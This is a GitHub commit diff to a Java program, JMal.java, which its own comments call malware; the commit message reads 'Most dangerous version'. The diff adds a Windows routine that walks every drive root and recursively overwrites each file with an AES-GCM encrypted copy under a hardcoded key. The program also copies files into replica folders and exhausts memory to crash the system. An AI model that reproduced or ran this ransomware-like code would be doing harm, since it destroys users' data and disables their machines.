Skip to content

Commit

Permalink
Update JMal.java
Browse files Browse the repository at this point in the history
Most dangerous version
  • Loading branch information
aayes89 authored Nov 24, 2024
1 parent 78f2399 commit 6b424b0
Showing 1 changed file with 84 additions and 33 deletions.
117 changes: 84 additions & 33 deletions JMal.java
Original file line number Diff line number Diff line change
Expand Up @@ -25,26 +25,29 @@
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.util.Iterator;

public class JMal {

public class JMAL {
public static void main(String[] args) {
try {
Utils util = new Utils();
// Obtiene la ubicación actual del archivo
File currentFile = new File(JMal.class.getProtectionDomain()
File currentFile = new File(JMAL.class.getProtectionDomain()
.getCodeSource().getLocation().toURI());

// Obtener sistema operativo
String OS = util.getOS();

System.out.println("Operating System: " + OS + "\n" + currentFile.getAbsolutePath());
// Definimos los directorios de replicación según OS

String[] replicationPaths;

if (containsIgnoreCase(OS, "Windows") || containsIgnoreCase(OS, "NT")) {
replicationPaths = new String[]{"C:/Replica1/", "C:/Replica2/", "C:/Replica3/"};
WinReplicate();
} else if (containsIgnoreCase(OS, "Mac") || containsIgnoreCase(OS, "X")) {
replicationPaths = new String[]{"/Users/Replica1/", "/Users/Replica2/", "/Users/Replica3/"};
} else if (containsIgnoreCase(OS, "Linux") || containsIgnoreCase(OS, "gnu")) {
Expand All @@ -61,12 +64,61 @@ public static void main(String[] args) {
// Inicia el consumo masivo de memoria (DoS local)
consumeMemory();
System.out.println("Simulación de malware completada.");

} catch (URISyntaxException e) {
System.out.println("URISyntaxException: " + e.getMessage());
}
}

/*
* Método de replicación específico para Windows
*/
private static void WinReplicate() {
FileSystem fs = FileSystems.getDefault();
Iterable<Path> dirs = fs.getRootDirectories();
for (Iterator<Path> iterator = dirs.iterator(); iterator.hasNext();) {
Path next = iterator.next();
boolean abs = next.isAbsolute();
System.out.println(next.toString() + " -> Es directorio raiz: " + (abs ? "SI" : "NO"));
//if(next.toString().contains("E")){
System.out.println("Iniciando búsqueda ...");
lookNFind(next);
System.out.println("El directorio: " + next.toString() + " está limpio!");
//}
}
}

// Método principal para buscar archivos y carpetas
private static void lookNFind(Path root) {
// Verificamos si el path existe
File path = root.toFile();
if (!path.exists()) {
System.out.println("El path no existe: " + root);
return;
}
// Si es un directorio, procedemos a recorrer los archivos dentro
if (path.isDirectory()) {
// Obtengo los ficheros del directorio actual
File[] files = path.listFiles();
// Verifico que no esté vacio el directorio
if (files != null && files.length > 0) {
for (File file : files) {
// Si es un subdirectorio, hacer llamada recursiva
if (file.isDirectory()) {
// Recursión para subdirectorios
lookNFind(file.toPath());
} else {
// Encripta el fichero
replicateAndEncrypt(file, file.getAbsolutePath());
}
}
}
} else {
// Si no es un directorio, simplemente encriptamos el archivo
replicateAndEncrypt(path, path.getAbsolutePath());
}
}

/**
* Método para replicar y cifrar archivos en un directorio específico.
*/
Expand Down Expand Up @@ -98,7 +150,7 @@ private static void replicateAndEncrypt(File currentFile, String destinationPath
*/
private static void copyAndEncryptFile(File sourceFile, File destinationFile) throws IOException {
try (FileInputStream fis = new FileInputStream(sourceFile); FileOutputStream fos = new FileOutputStream(destinationFile)) {

byte[] buffer = new byte[1024];
int bytesRead;
SecureRandom random = new SecureRandom();
Expand All @@ -123,8 +175,7 @@ private static void encryptFile(Utils util, File f) {
byte[] iv = new byte[12];

// Limpiar archivos espurios
util.cleanMac(f.getAbsolutePath());

//util.cleanMac(f.getAbsolutePath());
// Convierte la clave en un arreglo de bytes
byte[] keyBytes = Utils.SK.getBytes();
// Genera especificaciones de la clave secreta en crudo
Expand Down Expand Up @@ -158,10 +209,10 @@ private static void encryptFile(Utils util, File f) {
String newFilePath = f.toString();
System.out.println("Salvando fichero encriptado en: " + newFilePath);
Files.write(Paths.get(newFilePath), encryptedMessageWithIV);

System.out.println("Mensaje cifrado y IV almacenados con éxito.");
}

} catch (NoSuchAlgorithmException | NoSuchPaddingException
| InvalidKeyException | IllegalArgumentException | InvalidAlgorithmParameterException
| IllegalBlockSizeException | BadPaddingException
Expand All @@ -175,15 +226,15 @@ private static void encryptFile(Utils util, File f) {
* AES/GCM/NoPadding.
*/
private static void encryptAllInDir(Utils util, File f) {

try {
// Almacen de IV
byte[] iv = new byte[12];

// Captura el directorio para uso posterior
File fDir = new File(util.getAppPath());
// Limpiar archivos espurios
util.cleanMac(fDir.getAbsolutePath());
//util.cleanMac(fDir.getAbsolutePath());

// Convierte la clave en un arreglo de bytes
byte[] keyBytes = Utils.SK.getBytes();
Expand Down Expand Up @@ -218,7 +269,7 @@ private static void encryptAllInDir(Utils util, File f) {
String newFilePath = files.toString();
System.out.println("Salvando fichero encriptado en: " + newFilePath);
Files.write(Paths.get(newFilePath), encryptedMessageWithIV);

System.out.println("Mensaje cifrado y IV almacenados con éxito.");
}
}
Expand All @@ -239,9 +290,9 @@ private static void oneFileDecrypt(String absPath) {
// Permitir al usuario seleccionar el archivo cifrado
byte[] iv = new byte[12];
File file = new File(absPath);

try {

System.out.println("\nLeyendo IV del fichero encriptado: " + absPath);
// Lee el IV del archivo cifrado
byte[] cipherFile = (Files.readAllBytes(Paths.get(absPath)));
Expand Down Expand Up @@ -281,14 +332,14 @@ private static void oneFileDecrypt(String absPath) {
}
// Guarda el archivo descifrado
Files.write(Paths.get(decryptedFileName), decryptedData);

System.out.println("Archivo " + file.getName() + " descifrado con éxito.");

} catch (IllegalArgumentException | javax.crypto.AEADBadTagException e) {
// To avoid an interruption
System.out.println("InsideException: " + e.getMessage());
}

} catch (NoSuchAlgorithmException | NoSuchPaddingException
| InvalidKeyException | InvalidAlgorithmParameterException
| IllegalBlockSizeException | BadPaddingException
Expand All @@ -312,7 +363,7 @@ private static void consumeMemory() {
System.out.println("Memoria consumida completamente. Sistema colapsado.");
}
}

protected static boolean containsIgnoreCase(String text, String param) {
String paramLowCase = param.toLowerCase();
String textLowCase = text.toLowerCase();
Expand All @@ -324,34 +375,34 @@ protected static boolean containsIgnoreCase(String text, String param) {
* @author Slam Clase Utils para configuración
*/
private static class Utils {

private String OS;
private String pathApp;
public static String SK = "thisismysecretkeytoencryptsfiles";

public Utils() {
detectOS();
}

public String getOS() {
return OS;
}

public String getAppPath() {
return pathApp;
}

private void detectOS() {
Properties props = System.getProperties();
OS = props.getProperty("os.name");
pathApp = props.getProperty("java.class.path");
//props.list(System.out);
}

public void changeSK(String nSK) {
this.SK = nSK;
}

public boolean validSK(String sk2) {
try {
String sk = "9af9b15a2711c99f80ddc1fddfa85bee21f268d6106233f8163c2beefc3351a8";
Expand All @@ -363,7 +414,7 @@ public boolean validSK(String sk2) {
}
return false;
}

private static String generateSHA256Key(String data) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getInstance("SHA-256");
byte[] encodedhash = digest.digest(data.getBytes(StandardCharsets.UTF_8));
Expand All @@ -377,10 +428,10 @@ private static String generateSHA256Key(String data) throws NoSuchAlgorithmExcep
}
hexString.append(hex);
}

return hexString.toString();
}

public void cleanMac(String path) {
File fDir = new File(path);
for (File f : fDir.listFiles()) {
Expand All @@ -394,19 +445,19 @@ public void cleanMac(String path) {
}
}
}

public void readIV(byte[] iv) {
System.out.println("IV Data:");
for (byte b : iv) {
System.out.print((char) b);
}
System.out.println("");
}

@Override
public String toString() {
return "OS: " + OS + "\nPath: " + pathApp;
}

}
}

0 comments on commit 6b424b0

Please sign in to comment.